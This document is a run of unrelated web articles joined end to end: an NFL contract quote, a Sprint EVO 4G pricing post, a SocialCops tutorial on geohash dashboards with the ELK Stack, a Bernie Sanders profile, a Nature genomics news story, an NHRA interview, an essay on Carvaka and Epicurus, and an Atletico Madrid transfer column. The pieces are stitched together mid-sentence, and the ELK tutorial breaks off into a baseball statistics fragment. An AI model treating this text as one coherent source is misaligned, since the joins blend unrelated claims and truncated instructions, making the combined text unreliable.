"At the end of this, if we do it right enough, we'll all feel pretty good about things."
Rosenhaus also has talked to the Bengals about a contract extension for Ochocinco, who is on the final year of a deal that includes a team option for 2011.
"We've been in discussion potentially about doing an extension," Rosenhaus told The AP. "So we'll keep that going. It's been very cordial, very positive."
The Associated Press contributed to this report.If you've been thinking of getting the newest addition to the Sprint family on June 4th, the HTC EVO 4G, you're probably aware of the new $10 charge that Sprint will be requiring of you.
However, the situation isn't nearly as bad as it sounds. In fact, you may be getting much more than you thought you were paying for.
Under the heading of "Worry-Free Pricing" in their press release, they say it plain and simple:
In order to provide the best experience, HTC EVO 4G will use Sprint's industry-leading Everything Data or Business Advantage Messaging and Data plans that include unlimited Web, texting and calling on the Sprint Network to every mobile in America with Any Mobile, AnytimeSM.
So far, so good. But then the dollar signs start to rear their ugly heads, and that's where everyone started to get a little upset, especially considering Dan Hesse, the CEO of Sprint, himself implied otherwise back in March.
Everything Data plans start at $69.99 per month. A $10 per month Premium Data add-on will apply allowing customers to take advantage of a richer data experience than ever before.
As we wrote earlier this week, Sprint has tacked on an extra $10 just to use the EVO 4G, whether or not you have 4G in you area. But put down your pitchforks!
What they didn't say (at least not clearly enough), is what the definition of richer is. That is, this extra 10 bucks doesn't just get you data on your EVO 4G: it gets you unlimited data. Richer means unlimited.
And here's the kicker: Sprint has confirmed that both 3G and 4G data plans will be unlimited with the added $10, not just 4G. That means, in all capital letters, NO MORE CAPS. Download to your heart's content.
We've been waiting for official confirmation which finally arrived a few minutes ago in a tweet from a Sprint representative, clearing everything up:
If you only get 3G in your area, but you're using the EVO 4G, you still have to pay the extra $10, but it goes a long way...a really long way.
So, instead of throwing a fit, thank Sprint that you can finally download, as they say, "worry free." while still having a plan that is cheaper than any comparable plan any other carrier can offer.
Not too bad after all, now, is it?
Source: Sprint Press ReleaseAt SocialCops, we’re huge fans of hacks that help us solve interesting problems and learn cool things in the process. The Data Team has Quarterly Hacks, where we dive deep into interesting data problems that we have talked about almost on a daily basis but never had the chance to fully explore. We start with an open-ended problem but focus on a fixed set of issues so we can reach a clear solution.
How we picked the problem
One day, my team mate Lilianna (who is an AIF Clinton Fellow interested in all things Indian) was very frustrated, since she was searching for a good 1 bedroom flat but couldn’t find one. Whatever she saw on real estate websites usually wasn’t helpful — either the property wasn’t good or the area around it wasn’t nice. Though some housing websites capture a lot of good metrics about location, price, and the property itself, she still had to play a guessing game on how accurate this information was and what important components the sites were missing. In short, she had trouble finding a flat because she couldn’t figure out an efficient way to explore and rank properties for each locality.
Thinking about this led us to a bigger problem — how can you effectively geospatially explore and rank a geographic area?
Here’s an example to understand this problem further. Imagine that a businessman decides to open a new warehouse for his FMCG company. This warehouse’s profitability depends on choosing the right location. The businessman has shipment data about his products and some intuition on where to open his warehouse, but he is not sure about his decision. This is an example of where geospatial ranking can come in handy. The businessman can reduce the ambiguity in his decision by ranking predefined areas based on geospatial metrics.
The base of our solution
We decided to take this idea and develop a more general solution for visualizing geospatial problems.
The first step was finding all our data. In geospatial problems, high-level answers just won’t do; if someone needs to know where to open a new factory, they need to know the best location, not just the best state or city. They might even need to compare relevant metrics across square kilometers. So, while gathering data, we aimed to capture even the smallest details about each area. First, we searched our secondary data repository for demographics data at a ward/pincode level for every city. We then realized we can find even more granular metrics like individual restaurants and their reviews, cab rides, points of interest, and more. Since our aim was to capture as much detail possible about a geography, we decided to useAPIs to fetch these geospatial data points that, in today’s world, mirror parts of our economy.
Based on some primary data checks and data availability, we decided to use Bangalore as our test case. All of our data sets had a latitude-longitude field with the exact location for that data point in Bangalore.
Now that we had all this data, the second step was to aggregate it into geographic regions to make an informed decision. We first discussed using predefined administrative areas like pincode, ward, etc. However, there were two major problems with this. First, we would need shape files for every administrative area to help us visualize our data. But second, and more importantly, administrative areas are quite large, as compared to our problem size. For example, each pin code is 21 square kilometers on average. We wanted to dive deep into a very small area — maybe a square kilometer. Taking administrative areas as our boundaries wouldn’t give us that granularity and flexibility.
At this point, I remembered a similar project where I used geohashes to aggregate location coordinates. Why not try that same concept here?
A geohash is a hierarchical spatial data structure that subdivides space into buckets in a grid shape. It is a well-known dimensionality reduction technique that transforms each two-dimensional spatial point (latitude and longitude) into an alphanumerical string, or hash. According to Elastic, “Geohashes divide the world into a grid of 32 cells — 4 rows and 8 columns — each represented by a letter or number… Each cell can be further divided into another 32 cells, which can be divided into another 32 cells, and so on… In other words, the longer the geohash string, the more accurate it is. If two geohashes share a prefix then it implies that they are near each other. The longer the shared prefix, the closer they are.” (To learn more about how geohashes work, check out here and here for a visual introductions to geohashes.)
Now what we were looking for was a dashboard to help us aggregate and compare our location data in grids. To keep our hack moving quickly, we decided to check out if any libraries or solutions already existed to help us to implement the geohash aggregation. This is when we realized the power of the ELK Stack.
What is the ELK Stack?
The ELK Stack consists of Elasticsearch, Logstash, and Kibana. Though they’ve all been built to work exceptionally well together, each one is a separate project that is driven by the open-source vendor Elastic — which itself began as an enterprise search platform vendor. Elastic is one component that we use in our tech stack to power our visualizations at SocialCops.
Here is how each component of the stack is used independently:
Logstash: We’ll pass our json files to Logstash, play with the variable formats, declare an index and then pass it to Elastic.
We’ll pass our json files to Logstash, play with the variable formats, declare an index and then pass it to Elastic. Elastic: It will process our data sets. It is a schema-less database that has powerful search capabilities and is easy to scale horizontally. Schema-less means that you just throw JSON at it and it updates the schema as you go. It indexes every single field, so you can search anything (with full-text search) and it will aggregate and group the data.
It will process our data sets. It is a schema-less database that has powerful search capabilities and is easy to scale horizontally. Schema-less means that you just throw JSON at it and it updates the schema as you go. It indexes every single field, so you can search anything (with full-text search) and it will aggregate and group the data. Kibana – This is where we will visualize these geospatial data sets. It is a web-based data analysis and dashboarding tool for ElasticSearch.
Though the ELK Stack isn’t part of our data pipeline, we got a lot out of this beautiful set of tools designed to take data from any source and search, analyze, and visualize it in real time. Here’s how you can use the ELK Stack to create a geospatial dashboard in minutes.
How to create a geospatial dashboard with the ELK Stack
First, you will need the following:
Start your Elastic server by going to your directory and opening up an instance of elastic by typing /elasticsearch-2.3.1/bin/elasticsearch.
Once your Elastic server is up and running, go to your Logstash folder and create a.conf file. There are three sections to a.conf file: input, filter, and output.
The input section specifies the input given to Logstash. In our case, this is the standard input. The filter section specifies the type of file (which is a CSV) and the operations we do to modify our variables for elastic (which is grouped under mutate). For geographic queries, it |
the best-hitting shortstops, finishing with a.275/.334/.411 triple-slash line with 17 home runs and 41 RBI in 640 plate appearances. He was even more productive in 2014, his first year with the Cardinals.
Follow @Baer_BillSanders’s laser-like focus on inequality is perfectly in sync with the nation’s current political climate.
“When you take on the billionaire class, it ain’t easy.”
The day before President Barack Obama gave his 2014 State of the Union address, in which he made economic inequality the centerpiece, Sen. Bernie Sanders (I-Vt.) made an appearance on CNN’s “Situation Room.” About halfway through the segment, he started to lose his cool.
Sanders and Michele Bachmann, the former Republican representative from Minnesota, had been trading verbal jabs for several minutes and stepping all over each other’s lines, when they landed on the subject of Social Security.
“Do you believe in the chained CPI?” Sanders asked Bachmann, referring to an idea then being considered that would have decreased payments for cost-of-living adjustments in Social Security benefits. He wanted Bachmann to concede that the GOP aimed to cut Social Security. She alternately dodged the question and scolded him for lying.
“I asked you a question, and you wouldn’t give me an answer,” Sanders thundered after repeating the question five times.
“Well, calm down.”
“Do you support a chained CPI?”
“Calm down.”
Bachmann then expressed sympathy for an unemployed woman who had been featured in an earlier segment of the show: “The reality is, we want Ann’s life to be better.” Sanders responded with an eye roll.
The exchange was typical of Vermont’s junior senator, who entered the race for the Democratic presidential nomination in late April. He ventured deep into the policy weeds—at the risk of confusing viewers who had no idea what he meant by a chained CPI—and he was impatient, confrontational and determined to get his point across.
That passion and focus can carry Sanders—who famously identifies as a democratic socialist and represents Vermont as an independent—right up to the edge of seeming like a crank. And if he had run against Bill Clinton in the Democratic primary 20-odd years ago, he no doubt would have been dismissed as just that, and easily ignored.
But this is not 1992. Bernie Sanders cannot be ignored—his message speaks too powerfully to the current political moment. And he certainly will not calm down—not when, as he says at every opportunity, 99 percent of all new income is going to the top 1% of Americans, the “real” unemployment rate is 12.7 percent and the United States has the highest rate of child poverty in the developed world.
Sanders’ passion and single-mindedness seem to be grounded, in large part, in his childhood in Brooklyn, growing up in a small apartment. His father, who immigrated to the United States from Poland as a teenager, was a paint salesman. It was his mother’s dream, never realized, for the family to own a home. “What I learned as a kid,” Sanders told an audience at the Brookings Institution in early February, “is what the lack of money does to a family … the kind of stresses and pressures.”
He didn’t elaborate, but he believes that a growing number of Americans know precisely what he means.
“When you take on the billionaire class, it ain’t easy,” he said at Brookings. He was still deciding whether to run for president. To mount a campaign, he said, “We would have to put together the strongest grassroots movement in the modern history of this country, where millions of people are saying, ‘You know what? Enough is enough.’ ”
He entered the race two months later, apparently persuaded that he can organize a grassroots campaign around the idea that enough is, in fact, enough.
Ahead of the game
The endless election season is a boon for long-shot presidential candidates, giving them a platform, a spotlight and more than a year to make their case. In 1996, Steve Forbes centered his bid for the Republican presidential nomination around a call for a flat tax. There were relatively few proponents at the time. It has since become a favorite idea within the GOP.
Forbes’ flat tax would have cut his own income tax bill by an estimated $240 million. The 1990s were fertile ground for such anti-progressive economic ideas, as poverty fell off the political radar amid the tech bubble. Then, in the early 2000s, the global “war on terror” became all-consuming.
Bernie Sanders spent much of that time in the House, serving as Vermont’s only representative beginning in 1991. He ran for the Senate in 2006, winning with 65 percent of the vote, and was reelected in 2012 with 71 percent.
Through all those years, while economic inequality was mostly off the nation’s political agenda, it was Sanders’ abiding passion. In Outsider in the House, a book he wrote in 1997 about his congressional race the previous year, Sanders wrote, “In America we have the most inequitable distribution of wealth in the entire industrialized world. The middle class is shrinking, the working class is scraping by, and the poor are ever more deeply mired in poverty.”
Sanders was either way behind the times or way ahead of them. Fifty years ago, the movements for civil rights and economic justice, steadily building for years, culminated in the last great wave of social-reform legislation: the Voting Rights Act of 1965 and the programs of Lyndon Johnson’s Great Society agenda, including Medicare, Medicaid, Head Start and food stamps.
Now, 50 years after the Great Society, we are—perhaps—in the midst of another moment of building momentum to address racial and economic inequalities. The Occupy movement’s rise in the wake of the 2008 financial crisis was the first sign of the changing times.
In late 2011, GOP spin guru Frank Luntz told Republicans at a conference that he was “frightened to death” of “this anti-Wall Street effort” because “they’re having an impact on what the American people think about capitalism.” And though Occupy as a formal movement has largely faded, its message continues to find new champions and new channels of expression.
For example, Thomas Piketty’s massive book about rising inequality, Capital in the Twenty-First Century, became a surprise bestseller in 2013; Pope Francis has reasserted Catholicism’s his torical emphasis on economic justice, recently describing inequality as “the root of social evil”; cities are taking the initiative in raising the minimum wage absent leadership from Congress; and pundits and activists are pushing back, in response to the Supreme Court’s Citizens United decision, against the inequalities and influence-buying built into our politics.
Last year, meanwhile, in a widely read and discussed piece, The Atlantic’s Ta-Nehisi Coates laid bare the deep structural racism that helps perpetuate economic inequalities. The protests and media coverage provoked by police violence against African Americans have helped make the same point. “Plunder,” as Coates told an audience at Johns Hopkins University soon after the protests in Baltimore began in April, “is the key to understanding the relationship between African Americans and the U.S.”
This is a moment, in other words, when Sanders’ laser-like focus on inequality harmonizes with the nation’s political climate. A Gallup poll released in May found that 52 percent of Americans favored redistribution of wealth through heavy taxes on the rich—up from 35 percent in the late 1930s and 45 percent in 1998.
The changing political climate is noticeable enough that even pro-business publications and Republican presidential hopefuls acknowledge inequality as a problem. “It’s worse than you think,” as Fortune put it last year. The piece quoted two scholars who found that wealth inequality “has followed a spectacular Ushape evolution over the past 100 years. From the Great Depression in the 1930s through the late 1970s, there was a substantial democratization of wealth. The trend then inverted, with the share of total household wealth owned by the top 0.1 percent increasing to 22 percent, from 7 percent in the late 1970s.”
Responding to Obama’s State of the Union address in January, Texas Sen. Ted Cruz, who has since thrown his hat in the ring for the GOP presidential nomination, said that the economic elites have become “fat and happy” and that “the top 1% earn a higher share of our national income than any year since 1928.”
In this context, Sanders is more than just another candidate with low name recognition and no chance of actually winning. He is the perfect candidate for this moment. What that means, exactly, remains to be seen.
The Sanders effect
“People should not underestimate me,” Sanders told the Associated Press on April 30. “I’ve run outside of the two-party system, defeating Democrats and Republicans, taking on big-money candidates, and … the message that has resonated in Vermont is a message that can resonate all over this country.”
Sanders has an advantage in that the first Democratic primary will be in New Hampshire, where his long political career in neighboring Vermont has made him well known. An upset there would give him early momentum. And in Iowa his campaign events have drawn overflowing crowds. But barring a meltdown by the Hillary Clinton campaign, her name recognition and campaign war chest are daunting—perhaps impossible—obstacles to overcome. In May, a CNN poll showed that just 10 percent of Democratic voters favored Sanders. Fifteen percent favored Joe Biden and 60 percent favored Clinton.
Seeking to explain his long-shot bid, pundits usually note that Sanders will push Clinton to the left. And there is little doubt that he will, at least during the campaign. When he isn’t talking about economic inequality, Sanders is usually talking about climate change. Clinton, who has not distinguished herself on either issue, will be forced to respond. Strong opposition from Sanders and Elizabeth Warren to the Trans-Pacific Partnership (TPP) trade deal, for example, seems to have forced Clinton to keep her position vague, though she has a history of supporting free-trade initiatives. Sanders, Warren and other progressive Democrats argue that it will hurt American workers and further erode the middle class.
But the potential significance of Sanders’ campaign for the Democratic nomination goes far beyond the 2016 race. And it goes far beyond whatever effects his campaign will have on Clinton.
Since the 1980s, Republicans have promised to grow the economy by cutting taxes, privatizing the public sphere and deregulating the economy. Democrats have mainly promised to limit the damage done by Republicans.
Sanders is a radical because he unapologetically asserts a vision of what government by the people and for the people can actually accomplish—and has accomplished. That vision has animated the progressive movement for more than a century. But relatively few have had the national megaphone that he will hold over the next year. His policy proposals include a jobs program to rebuild roads, bridges, airports and schools; hiking the federal minimum wage; breaking up the biggest banks; reforming the tax code and eliminating corporate loopholes; and investing heavily in renewable energy sources.
“If I do something … I want to do it well,” Sanders told the Brookings audience in February. The measure of whether he succeeds, though, will not be whether he wins the Democratic nomination or even whether he wins a certain percentage of the vote. A better measure will be whether he can help shift our national dialogue and revitalize the progressive movement. What Sanders wrote of his 1996 campaign might also be said of his current run for the presidency: It is “about hopes and dreams that will not be realized in our lifetimes. It is about the fragility of democracy in America.”
On one level, success will mean channeling and amplifying the growing voices of protest against rising inequality—racial, economic and political—in the United States. More than that, it will mean translating the frustration of millions of Americans into an alternative vision of the nation’s future. It will mean making the connection between the Republican agenda and rising inequality—and pointing a way forward for those who are saying “enough is enough,” and who can be mobilized, as Sanders believes, into a grassroots movement with the resources and the will to push back.Published online 14 September 2010 | Nature | doi:10.1038/news.2010.465
News
Physicians are turning to genomic tools to diagnose puzzling conditions.
Whole-genome sequencing of patients' DNA is already helping physicians make treatment decisions. JAMES KING-HOLMES / SCIENCE PHOTO LIBRARY
It may be small-scale and without fanfare, but genomic medicine has clearly arrived in the United States. A handful of physicians have quietly begun using whole-genome sequencing in attempts to diagnose patients whose conditions defy other available tools.
As hospitals and insurers battle over coverage for single-gene diagnostic tests, and the US Food and Drug Administration cracks down on the products of personal genomics companies, a growing number of doctors are relying on the sequencing of either the whole genome or of the coding region, known as the exome.
"If one hospital is doing it, you can be sure others will start, because patients will vote with their feet," Elizabeth Worthey, a genomics specialist at the Human and Molecular Genetics Center (HMGC) of the Medical College of Wisconsin in Milwaukee, said at the Personal Genome meeting at Cold Spring Harbor Laboratory in New York last weekend.
In May 2009, the genetic-technology provider Illumina, based in San Diego, California, launched its Clinical Services programme with two of its high-throughput genome analysers. The company now has 15 such devices dedicated to this programme.
Illumina provides the raw sequence data attained from a patient's DNA sample to a physician, who passes it on to a bioinformatics team, which works to crack the patient's condition. However, Illumina is working to develop tools to help physicians navigate genomes and identify genes already associated with diseases, as well as novel ones.
So far, the company has sequenced more than 24 genomes from patients with rare diseases or atypical cancers at the request of physicians at academic medical centres. The standard US$19,500 price tag is typically covered by the patient, by means of a research grant, or with the help of private foundations, although one patient is currently applying for insurance reimbursement.
Steering treatments
Such efforts are having a direct effect on treatment decisions. For three years, physicians at the Children's Hospital of Wisconsin in Milwaukee had struggled to treat a child whose intestines had become swollen and riddled with abscesses. At the age of 3, he had more than 100 separate surgeries and his colon was later removed, but his doctors were stumped.
They called on Worthey and her colleagues at the HMGC. The team obtained a completed exome sequence for the child and used in-house tools to identify the disease culprit as the protein XIAP, which inhibits a programmed-cell-death pathway called apoptosis. XIAP has a role in the immune system and is conserved across organisms including primates, flies and frogs.
The hospital's lab was then able to show that the child's cells were more sensitive than normal to apoptosis, and the gene is known to play a role in the immune system. On the basis of this diagnosis, the physician recommended a bone-marrow transplant in June 2010. By mid-July, the child was eating his first meal.
Such work demands substantial resources. That child's case took a team of 30, says Worthey, and included a 12-person bioinformatics team, three sequencing technicians, five physicians, two genetic counsellors and two ethicists. The hospital is already working on a handful of other whole-genome sequences, and plans to be analysing 90 per year by 2014.
During the past year, familial whole-genome and exome sequencing has identified gene variants with a role in disease at a rate of two to three per month. One major programme, the Undiagnosed Diseases Program at the National Institutes of Health in Bethesda, Maryland, has received more than 3,000 enquiries and reviewed 1,192 medical records, diagnosing 15% of the cases they have accepted. As of this month, the programme has also completed 59 exomes from 15 families. Thomas Markello, a geneticist and paediatrician on the project, says that the team has confirmed one genetic cause for a disease, and has a dozen new candidates to be validated.
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Whole-genome sequencing is also affecting treatment choices for atypical cancers. Richard Wilson, director of the Genome Sequencing Center at Washington University in St. Louis, Missouri, spoke at the meeting of a 39-year-old woman who was thought, from a bone-marrow biopsy, to have acute promyelocytic leukaemia (APL).
However, when she was given the standard diagnostic test for the disease, this failed to demonstrate the expected exchange of a large piece of chromosomes 15 and 17, which causes two genes to fuse together.
But when Wilson and his colleagues sequenced and analysed cancerous tissue in the bone marrow, they found that a small chunk of chromosome 15 had popped out and been inserted into chromosome 17, fusing the two affected genes in a novel way. As a result, the woman was prescribed a drug known to improve survival in patients with APL. "We were able to assist oncologists in making an effective diagnosis and treatment, which — not trying to hype it at all — saved the patient's life," Wilson said.
Tim Aitman, a molecular geneticist at the UK Medical Research Centre's Clinical Science Centre in London, says that cases in which whole-genome sequencing has directly benefited the patients involved are still rare. "The view is these are anecdotes and one-off occasions," he says, "but it is inescapable that within the next 10 and 20 years that will become much more routine."As he closes in on his first six months as president of the National Hot Rod Association, Peter Clifford is a man on a mission.
He wants to make the 2016 season as spectacular as possible, including a new TV package, new competition rules in several classes (particularly Pro Stock), hopes of attracting higher car counts and devising quicker and more efficient ways to clean up on-track debris and oil-downs.
In a recent interview with AutoWeek.com, Clifford laid out some of his plans going forward, particularly in the Pro Stock class, which has struggled in recent seasons to have full 16-car race counts in national events.
“The one area we have seen declines over probably the last eight to 10 years is in Pro Stock, and we rolled out the plan to address that a month or so ago,” Clifford told AutoWeek. “We are trying to make the cars more relevant, but also we want to attract more participation in the class.
“We’ll now go to fuel injection next year—which more people can relate to fuel injection—and it makes it more relevant to Detroit, the cars more relevant. And also we did simple things like make sure the cars get turned around when they come back into the pits to give our fans better access to the cars and the teams.
“It is noticeable at the events when you walk around and see the crowds in the Pro Stock pits. It’s night and day compared to before. It’s so important to the fans because our sport is all about access. We’ve heard from a number of teams that used to participate that the changes we made might be enough to help bring them back into the Pro Stock arena.”
Clifford is very high on a new TV contract with Fox Sports that will air live 17 of the 23 races in 2016 on either Fox Sports 1 or Fox TV.
“We think it’s going to be transformative for the sport because it will bring in new viewership and higher recognition for our drivers and teams, and I think it’s going to do so much for the sport going to 17 live events, with four of those being on network,” Clifford said. “We’ve never been on network TV in our history, and having four live events in the middle of the summer, I think it’s going to be very, very exciting for the sport.”
Clifford also promised improvements to digital and social media to make it more timely and relevant.
“That’s one of our big initiatives,” Clifford said of improving the digital side of things. “We know that (NHRA’s digital app) has had some issues in the past, and we are literally, as we speak, working on improving the app so it’s much more reliable. We are also doubling our efforts in the digital and social media area.
“We are adding more staff to that area. It’s very important, in sports today, digital and social, especially as we’re attracting more and more youth. As we go live on television, that’s going to be critical because that’s the opportunity to interact with our fans during the television shows.
“… Our whole idea is to show more of the drivers, get to know the drivers, get to know them behind the scenes, to create more stars because people out there can relate to our drivers.”
The 56-year-old Clifford, who has been with NHRA since 1997 and succeeded the retired Tom Compton as president on July 1, has other initiatives in mind, as well.
“One of our big initiatives is improving competition,” Clifford said. “(In addition to Pro Stock) another area that we need to improve upon for fan experience going forward is reducing the oil-downs at the track.
“It not only impacts our fans on-site, but potentially it could impact our fans at home with the live television. And we’re working with the teams, and we have their commitment to address oil-downs and minimize that in the future.”
In a sense, NHRA is borrowing a page from NASCAR’s innovation, which dramatically improved track drying the last few years with the introduction of the Air Titan system.
Clifford is hoping to further develop a system that will do for oil cleanup what the Air Titans did for NASCAR with rain cleanup.
“We are bringing in new equipment to help speed up the cleanup process and we are going to start working with a university on how to better clean up oil,” Clifford said. “And we have a commitment from the teams, and I am thrilled about that. That, to us, is a game-changer for the sport.”
In addition to attracting new fans, particularly the younger generation, Clifford also has plans to attract and increase participation from a competition standpoint in NHRA’s sportsman ranks.
“We want to get more people participating in the sport,” he said. “We’re going to be announcing a plan to do just that.
“Not only are we making it easier for people to participate at the entry level, but also reducing the cost and also reducing some of the requirements for people to participate.”
Follow @JerryBonkowskiCarvaka is the Indian philosophy of materialism. It is considered a precursor of Epicureanism, and here we will look primarily at Carvaka, leaving to the end a brief comparison of the two philosophies.
It is worth establishing a few parallels at the outset, however. Both Carvaka and Epicureanism are materialisms, and since materialism is the basic concept for atheism, it is not surprising that both reject the influence, if not the existence, of gods. As a result, both are seen as threatening by the dominant religious authorities, to the point that their works were destroyed. Much of what we know about them derives from writings about them rather than by them. Due largely to persecution by the Christians, Epicureanism had died out by 400 CE, with the last significant revival occurring in the 18th century. Similarly, Carvaka’s philosophy seems to have died out shortly after 1400 CE. Carvaka scriptures consist of the Brhaspati or Lokayata sutras.
As the Brahmins could not refute these sutras logically, the Carvakas were demonized and they were destroyed. Neither these texts nor any other writings of the Carvaka school have been preserved, although there are many references to them in the Vedas, a large body of texts originating in India, written roughly between 1500 and 500 BCE. They form the basis of the Hindu religion, and orthodox Hindus believe the Vedas were not written by man but directly revealed, just as fundamentalist Christians and Muslims believe that the Bible and the Koran respectively were not written by man. Despite India’s reputation for religion and mystics, the Nobel Prize winner Amartya Sen maintains that there is a larger volume of atheistic and agnostic writings in Sanskrit and Pali (an Indo-Aryan dialect) than in any other classical tradition–Greek, Latin, Hebrew, or Arabic. He points out that Buddhism, developed in India, is the only agnostic world religion.
Materialists were among the earliest Indian philosophers and arose primarily as a reaction to the “heretics” and especially the “nihilists” who rebelled against the Vedas. The heretics denied the authority of the Vedas, and the nihilists claimed that nothing existed except thought. The materialists rejected gods and the dominance of the Vedic priests but also nihilism. They attempted to understand and explain natural phenomena through the properties of the four material elements: earth, water, fire, and air. Carvakas believed that the elements may change their nature at any time; thus nature does not contain eternal laws. Like modern day scientists, they believed that life and intelligence originate from inanimate substance by chance. Thus, the mind is not separate from the body, but part of it. When the body dies, life and intelligence perish also.
As materialists, Carvakas believed that direct perception is the surest method to prove the truth of anything. Some interpreters say that they thought inference (or cause and effect relationships) was useless, while others suggest they thought inference can be useful in extending knowledge in the real world but should not be used to establish dogma regarding the supernatural, life after death, or any other phenomenon which is not available to ordinary perceptual experience. In any case, they thought that we need not and should not rely on testimony or comparisons to make inferences. Rather we should discover direct cause and effect in nature itself and not base our beliefs on the experience and teachings of others.
Carvakas believed there is no hell except hell on earth and there is no paradise except the sensual pleasures of everyday life; that the activities of religious priests are not an indication of the existence of another world but simply represent a livelihood.
Both Epicureans and Carvakas advocated joyful living (unlike Buddhism and Jainism, which emphasize penance) but were accused wrongly of advocating hedonism. Both believed we should “Eat, drink, and be merry for tomorrow we die.” And Carvakas even suggested that a person go into debt if necessary to live a happy life.
Like Epicurus, Carvakas thought one should be careful in choosing one’s pleasures to make sure that they do not bring pain as a consequence. The fine arts like music were to be encouraged as they bring pleasure and Carvakas (followers of Carvaka) contributed to their development.
Many of the above teachings of the Carvakas and Epicurus are admirable and appealing. However, some believe there is an anti-social side to both. Nothing is recognized by the Carvakas as a duty, and they do not recognize vice and virtue. They believed that one could do what one wanted to acquire wealth which would in turn facilitate pleasure. Thus Carvakas have been associated with Machiavellian behaviour to accumulate wealth and power, behaviour that many today would view as unethical, if not illegal.
Some commentators believe that the amoralism of the Carvakas is only a logical conclusion of their premises, however. They may have had a more moral view than some believe, disliked the killing of animals, and some Carvakas were vegetarians. And we know that they were not without social concerns, as they accused the Brahman pundits of exploiting poor people by getting them to support unnecessary rituals and sacrifices in the name of god. Also, Carvakas denied the artificial divisions in society promoted by the caste system and restrictions on women.
Carvakas did have an answer to those who would accuse them of encouraging amoral behaviour. They believed that the rationale for good conduct does not arise out of perception, but is rather a logical conclusion based on the desirability of social harmony. Regulation of negative human activity (theft, murder, etc.) should be undertaken by the state, and man will abstain from activities prohibited by the state in order to avoid punishment. Moreover, the science of the laws of state are the ones worth studying, as they are man-made and can be changed and perfected.
Epicurus was clearly much influenced by the Carvakas, perhaps through intervening materialists, despite the 300 years that separated them. In some sense, one can view Epicurus as a more sophisticated version of Carvaka philosophy, which taught that the elements are divisible into tiny particles, but not into atoms, as atoms are invisible and hence incompatible with the premise that all knowledge is based on perception. But there is a weakness in relying completely on perception; we remain ignorant of things invisible, and we can be deceived and misled by our own fears, prejudices and expectations. Epicurus was able to go the next step and accept the concept of atoms even though we can not see them.
Regarding the supernatural, the position of Epicurus is again similar to but not as extreme as that of Carvakas, who rejected the idea of all supernatural phenomena whether in terms of gods or the afterlife, but Epicurus acknowledged that there could be gods, only the gods are not interested in the affairs of man. Hence, we should live our lives as if there were no gods. Both schools believed that pleasure should be our main goal in life, but Carvakas wrote mainly about pleasures of the body whereas Epicurus believed that pleasures of the mind are actually superior to pleasures of the body, again, a more sophisticated concept. Finally, just as Carvakas claimed dignity for all people, Epicurus denied the divisions in Greek society associated with women and used his Garden to promote the idea of freedom and equality.
by Martha Horsley
Read about the Carvaka School in HumanisticTexts.org
Read about Indian Materialism from the Internet Encyclopedia of Philosophy
Bibliography
Acharya, Madhava. 14th century. Sarva-Darsana-Samgraha. Internet
Hanrott, Robert. 2006. Epicurus.
Jayaram, V. 2007. Atheism in Ancient India. www. hinduwebsite.com
Raju, P. T. 2005. Philosophical Traditions of India. Internet
Roy, Avijit. 2006. Rationalism, Freethinking and Prospects of Mukto-mona.Internet
Sellars, Roy Wood. 1927. Why Naturalism and Not Materialism Philosophical Review (36) (1927), pp. 216-225. Sen, Amartya. 1998. An Assessment of the Millenium. InternetOn the face of it, transfer deadline day was set to be a difficult one for some Atletico Madrid supporters. However, by the time the window shut, things had turned out rather well. They'd actually quite enjoyed it. There had been tears, but they were smiling now. Laughing their heads off, in fact. They do so love it when a plan comes together and their team's plans had come together. Other teams' plans, by contrast, had fallen apart.
The night before, Atletico won 3-0 at Sevilla. When Koke scored the first goal he held up eight fingers; when Gabi scored the second he held up eight fingers too. Down on the bench, Diego Simeone held up eight fingers. They did so in honour of Raul Garcia, who wears No. 8 and who, it was later confirmed, was about to join Athletic Bilbao for €10 million. "A friend is leaving," Gabi said after the game with a kind of sad yet contented fondness in his delivery.
After eight seasons at the club and having won the league, the Copa del Rey and the Europa League, Garcia was going. He's the kind of player opponents hate, all scowls and elbows and confrontation; the kind of player teammates love, all sweat and commitment and sacrifice and goals. "I hated him too when I played against him [for Real Sociedad]," Atletico striker Antoine Griezmann admitted on Al Primer Toque, "but as a teammate he's a crack." A star.
Garcia said goodbye on Monday, deadline day. It might have been sad, and though he did cry, it was more like a celebration, more wake than funeral. Fans did not begrudge nor bemoan his departure but instead gloried in it. Surrounded by his teammates, accompanied by trophies too, he left to applause and smiles, with good wishes and in the knowledge that, when they meet again, he'll probably elbow them and call them names. For now they were saying nice things; this is the way players should leave clubs.
While all that was going on, for some Atletico fans there was something else to worry about, another cloud. Around lunchtime, the news started to filter out: David De Gea was going to Real Madrid. The Manchester United goalkeeper who came through the Atletico youth system, the kid in whom they had started to see an idol before he left and who had once declared that he would never go to Madrid, "not even for a blank cheque", was going to Madrid.
Koke celebrates his goal vs. Sevilla with a tribute to Raul Garcia.
In the town of Almodovar del Campo, the local Atletico supporters' club was busy changing its name. No more would it be called the Pena Atletica David De Gea. Leaving for United was one thing; joining Madrid was another. Madrid president Florentino Perez admitted that a deal had been done around 1:30 p.m. But then it happened.
Then it didn't happen, that should probably read. By midnight, it was clear that something was wrong. De Gea's name was not on the list of transfers at the league. He had not been registered in time and nor, it later emerged, had his transfer been completed through FIFA's Transfer Matching System on time. De Gea was not going to Madrid after all.
Atletico fans loved it. Maybe they shouldn't have, maybe it reflects badly on football fans that they felt that way about the failure of others, but they did. They had won, or that's the way they felt anyway: their rivals, the team they love to hate, had missed out and so had De Gea. Cruel perhaps, but inevitable. The issue of "loyalty" is an absurd one, always skewed, but it's there. And Atletico fans weren't going to feel sorry for the man they remembered leaving them in 2011, the one they recalled arriving at United hidden behind a sheet.
There is another dimension, one that is actually far more important, or should be. The truth is that, while they enjoyed De Gea's deal collapsing, it would have been a hollow victory -- if you can even call it a "victory" -- had it not been for their own apparent success: schadenfreude without substance, which is the way that schadenfreude tends to be. Never mind us, let's laugh at them.
Atletico fans might have laughed at the many articles that laughed at Real Madrid but it would not have lasted long. They might have enjoyed the many articles that called Madrid the window's losers, but it would have been fleeting. Far more meaningful is the sense that this time Atletico might just be among the transfer window's winners. Maybe even the winners in Spain.
Take another look at Garcia's send off. They were all there: players, manager, directors and president. It was quite a nice way to spend the final day: instead of stress and panic and clock watching, they enjoyed the moment instead, with their work done.
Garcia's departure left an emotional void, but the truth is that the footballing void it left was not an overly concerning one. And the €10m he brought in also balanced things nicely. Atletico closed the window having spent €126m but their net spend was just over 5m.
After scoring 92 goals in three seasons at Porto, Jackson Martinez has made the move to Atletico Madrid.
